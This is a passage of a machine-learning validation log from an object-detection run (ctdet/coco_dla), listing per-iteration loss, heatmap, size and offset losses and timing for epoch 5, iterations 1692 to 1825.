0.7464 |hm_loss 0.5027 |wh_loss 2.0866 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1692/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7460 |hm_loss 0.5024 |wh_loss 2.0853 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1693/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7455 |hm_loss 0.5022 |wh_loss 2.0841 |off_loss 0.0350 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1694/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7451 |hm_loss 0.5019 |wh_loss 2.0829 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1695/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7447 |hm_loss 0.5016 |wh_loss 2.0817 |off_loss 0.0349 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1696/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7443 |hm_loss 0.5014 |wh_loss 2.0804 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1697/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7439 |hm_loss 0.5011 |wh_loss 2.0792 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1698/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7435 |hm_loss 0.5009 |wh_loss 2.0780 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1699/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7431 |hm_loss 0.5006 |wh_loss 2.0768 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1700/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7427 |hm_loss 0.5003 |wh_loss 2.0755 |off_loss 0.0348 |Data 0.010s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1701/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7423 |hm_loss 0.5001 |wh_loss 2.0743 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1702/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7419 |hm_loss 0.4998 |wh_loss 2.0731 |off_loss 0.0348 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1703/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7415 |hm_loss 0.4995 |wh_loss 2.0719 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1704/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7411 |hm_loss 0.4993 |wh_loss 2.0707 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1705/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7407 |hm_loss 0.4990 |wh_loss 2.0695 |off_loss 0.0347 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1706/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7403 |hm_loss 0.4988 |wh_loss 2.0682 |off_loss 0.0347 |Data 0.009s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1707/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7399 |hm_loss 0.4985 |wh_loss 2.0670 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1708/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7395 |hm_loss 0.4982 |wh_loss 2.0658 |off_loss 0.0347 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1709/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7391 |hm_loss 0.4980 |wh_loss 2.0646 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1710/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7387 |hm_loss 0.4977 |wh_loss 2.0634 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1711/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7383 |hm_loss 0.4975 |wh_loss 2.0622 |off_loss 0.0346 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1712/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7379 |hm_loss 0.4972 |wh_loss 2.0610 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1713/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7375 |hm_loss 0.4969 |wh_loss 2.0598 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1714/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7371 |hm_loss 0.4967 |wh_loss 2.0586 |off_loss 0.0345 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1715/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7367 |hm_loss 0.4964 |wh_loss 2.0574 |off_loss 0.0345 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1716/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7363 |hm_loss 0.4962 |wh_loss 2.0562 |off_loss 0.0345 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1717/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7359 |hm_loss 0.4959 |wh_loss 2.0550 |off_loss 0.0345 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1718/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7355 |hm_loss 0.4957 |wh_loss 2.0538 |off_loss 0.0345 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1719/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7351 |hm_loss 0.4954 |wh_loss 2.0526 |off_loss 0.0344 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1720/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7347 |hm_loss 0.4951 |wh_loss 2.0514 |off_loss 0.0344 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1721/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7343 |hm_loss 0.4949 |wh_loss 2.0502 |off_loss 0.0344 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1722/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7381 |hm_loss 0.4971 |wh_loss 2.0641 |off_loss 0.0346 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1723/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7411 |hm_loss 0.4989 |wh_loss 2.0747 |off_loss 0.0347 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1724/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7439 |hm_loss 0.5006 |wh_loss 2.0836 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1725/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7435 |hm_loss 0.5003 |wh_loss 2.0824 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1726/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7431 |hm_loss 0.5001 |wh_loss 2.0812 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1727/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7427 |hm_loss 0.4998 |wh_loss 2.0800 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1728/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7423 |hm_loss 0.4995 |wh_loss 2.0788 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1729/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7419 |hm_loss 0.4993 |wh_loss 2.0776 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1730/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7415 |hm_loss 0.4990 |wh_loss 2.0764 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1731/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7411 |hm_loss 0.4988 |wh_loss 2.0752 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1732/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7407 |hm_loss 0.4985 |wh_loss 2.0740 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1733/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7403 |hm_loss 0.4983 |wh_loss 2.0728 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1734/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7399 |hm_loss 0.4980 |wh_loss 2.0716 |off_loss 0.0347 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1735/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7395 |hm_loss 0.4977 |wh_loss 2.0704 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1736/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7391 |hm_loss 0.4975 |wh_loss 2.0692 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1737/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7387 |hm_loss 0.4972 |wh_loss 2.0681 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1738/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7383 |hm_loss 0.4970 |wh_loss 2.0669 |off_loss 0.0346 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1739/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7379 |hm_loss 0.4967 |wh_loss 2.0657 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1740/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7375 |hm_loss 0.4965 |wh_loss 2.0645 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1741/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7371 |hm_loss 0.4962 |wh_loss 2.0633 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1742/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7400 |hm_loss 0.4980 |wh_loss 2.0740 |off_loss 0.0347 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1743/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7432 |hm_loss 0.4999 |wh_loss 2.0847 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1744/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7428 |hm_loss 0.4996 |wh_loss 2.0835 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1745/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7424 |hm_loss 0.4994 |wh_loss 2.0823 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1746/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7420 |hm_loss 0.4991 |wh_loss 2.0812 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1747/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7416 |hm_loss 0.4989 |wh_loss 2.0800 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1748/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7412 |hm_loss 0.4986 |wh_loss 2.0788 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1749/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7408 |hm_loss 0.4983 |wh_loss 2.0776 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1750/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7404 |hm_loss 0.4981 |wh_loss 2.0764 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1751/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7400 |hm_loss 0.4978 |wh_loss 2.0752 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1752/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7396 |hm_loss 0.4976 |wh_loss 2.0740 |off_loss 0.0347 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1753/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7392 |hm_loss 0.4973 |wh_loss 2.0728 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1754/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7389 |hm_loss 0.4971 |wh_loss 2.0717 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1755/2110]|Tot: 0:00:38 |ETA: 0:00:00 |loss 0.7385 |hm_loss 0.4968 |wh_loss 2.0705 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1756/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7381 |hm_loss 0.4966 |wh_loss 2.0693 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1757/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7377 |hm_loss 0.4963 |wh_loss 2.0681 |off_loss 0.0346 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1758/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7373 |hm_loss 0.4961 |wh_loss 2.0670 |off_loss 0.0345 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1759/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7369 |hm_loss 0.4958 |wh_loss 2.0658 |off_loss 0.0345 |Data 0.005s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1760/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7365 |hm_loss 0.4956 |wh_loss 2.0646 |off_loss 0.0345 |Data 0.016s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1761/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7361 |hm_loss 0.4953 |wh_loss 2.0634 |off_loss 0.0345 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1762/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7358 |hm_loss 0.4951 |wh_loss 2.0623 |off_loss 0.0345 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1763/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7354 |hm_loss 0.4948 |wh_loss 2.0611 |off_loss 0.0344 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1764/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7350 |hm_loss 0.4946 |wh_loss 2.0599 |off_loss 0.0344 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1765/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7346 |hm_loss 0.4943 |wh_loss 2.0588 |off_loss 0.0344 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1766/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7342 |hm_loss 0.4941 |wh_loss 2.0576 |off_loss 0.0344 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1767/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7372 |hm_loss 0.4960 |wh_loss 2.0669 |off_loss 0.0344 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1768/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7403 |hm_loss 0.4981 |wh_loss 2.0764 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1769/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7437 |hm_loss 0.5002 |wh_loss 2.0846 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1770/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7463 |hm_loss 0.5024 |wh_loss 2.0883 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1771/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7491 |hm_loss 0.5046 |wh_loss 2.0935 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1772/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7522 |hm_loss 0.5068 |wh_loss 2.1009 |off_loss 0.0353 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1773/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7556 |hm_loss 0.5090 |wh_loss 2.1118 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1774/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7591 |hm_loss 0.5112 |wh_loss 2.1230 |off_loss 0.0355 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1775/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7623 |hm_loss 0.5135 |wh_loss 2.1318 |off_loss 0.0357 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1776/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7619 |hm_loss 0.5132 |wh_loss 2.1306 |off_loss 0.0357 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1777/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7615 |hm_loss 0.5129 |wh_loss 2.1294 |off_loss 0.0356 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1778/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7611 |hm_loss 0.5127 |wh_loss 2.1282 |off_loss 0.0356 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1779/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7607 |hm_loss 0.5124 |wh_loss 2.1270 |off_loss 0.0356 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1780/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7603 |hm_loss 0.5122 |wh_loss 2.1258 |off_loss 0.0356 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1781/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7599 |hm_loss 0.5119 |wh_loss 2.1246 |off_loss 0.0356 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1782/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7595 |hm_loss 0.5117 |wh_loss 2.1234 |off_loss 0.0355 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1783/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7591 |hm_loss 0.5114 |wh_loss 2.1222 |off_loss 0.0355 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1784/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7588 |hm_loss 0.5112 |wh_loss 2.1210 |off_loss 0.0355 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1785/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7584 |hm_loss 0.5109 |wh_loss 2.1199 |off_loss 0.0355 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1786/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7580 |hm_loss 0.5106 |wh_loss 2.1187 |off_loss 0.0355 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1787/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7576 |hm_loss 0.5104 |wh_loss 2.1175 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1788/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7572 |hm_loss 0.5101 |wh_loss 2.1163 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1789/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7568 |hm_loss 0.5099 |wh_loss 2.1151 |off_loss 0.0354 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1790/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7564 |hm_loss 0.5096 |wh_loss 2.1139 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1791/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7560 |hm_loss 0.5094 |wh_loss 2.1128 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1792/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7556 |hm_loss 0.5091 |wh_loss 2.1116 |off_loss 0.0353 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1793/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7552 |hm_loss 0.5089 |wh_loss 2.1104 |off_loss 0.0353 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1794/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7548 |hm_loss 0.5086 |wh_loss 2.1092 |off_loss 0.0353 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1795/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7544 |hm_loss 0.5084 |wh_loss 2.1080 |off_loss 0.0353 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1796/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7541 |hm_loss 0.5081 |wh_loss 2.1069 |off_loss 0.0353 |Data 0.005s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1797/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7537 |hm_loss 0.5079 |wh_loss 2.1057 |off_loss 0.0352 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1798/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7533 |hm_loss 0.5076 |wh_loss 2.1045 |off_loss 0.0352 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1799/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7529 |hm_loss 0.5074 |wh_loss 2.1034 |off_loss 0.0352 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1800/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7525 |hm_loss 0.5071 |wh_loss 2.1022 |off_loss 0.0352 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1801/2110]|Tot: 0:00:39 |ETA: 0:00:00 |loss 0.7521 |hm_loss 0.5068 |wh_loss 2.1010 |off_loss 0.0352 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1802/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7517 |hm_loss 0.5066 |wh_loss 2.0999 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1803/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7513 |hm_loss 0.5063 |wh_loss 2.0987 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1804/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7510 |hm_loss 0.5061 |wh_loss 2.0975 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1805/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7506 |hm_loss 0.5058 |wh_loss 2.0964 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1806/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7502 |hm_loss 0.5056 |wh_loss 2.0952 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1807/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7498 |hm_loss 0.5053 |wh_loss 2.0941 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1808/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7494 |hm_loss 0.5051 |wh_loss 2.0929 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1809/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7490 |hm_loss 0.5048 |wh_loss 2.0917 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1810/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7486 |hm_loss 0.5046 |wh_loss 2.0906 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1811/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7483 |hm_loss 0.5043 |wh_loss 2.0894 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1812/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7479 |hm_loss 0.5041 |wh_loss 2.0883 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1813/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7475 |hm_loss 0.5038 |wh_loss 2.0871 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1814/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7471 |hm_loss 0.5036 |wh_loss 2.0860 |off_loss 0.0349 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1815/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7467 |hm_loss 0.5033 |wh_loss 2.0848 |off_loss 0.0349 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1816/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7463 |hm_loss 0.5031 |wh_loss 2.0837 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1817/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7460 |hm_loss 0.5029 |wh_loss 2.0825 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1818/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7456 |hm_loss 0.5026 |wh_loss 2.0814 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1819/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7452 |hm_loss 0.5024 |wh_loss 2.0803 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1820/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7448 |hm_loss 0.5021 |wh_loss 2.0791 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1821/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7444 |hm_loss 0.5019 |wh_loss 2.0780 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1822/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7440 |hm_loss 0.5016 |wh_loss 2.0768 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1823/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7437 |hm_loss 0.5014 |wh_loss 2.0757 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1824/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7433 |hm_loss 0.5011 |wh_loss 2.0746 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1825/2110]|Tot: 0:00:40 |ETA: 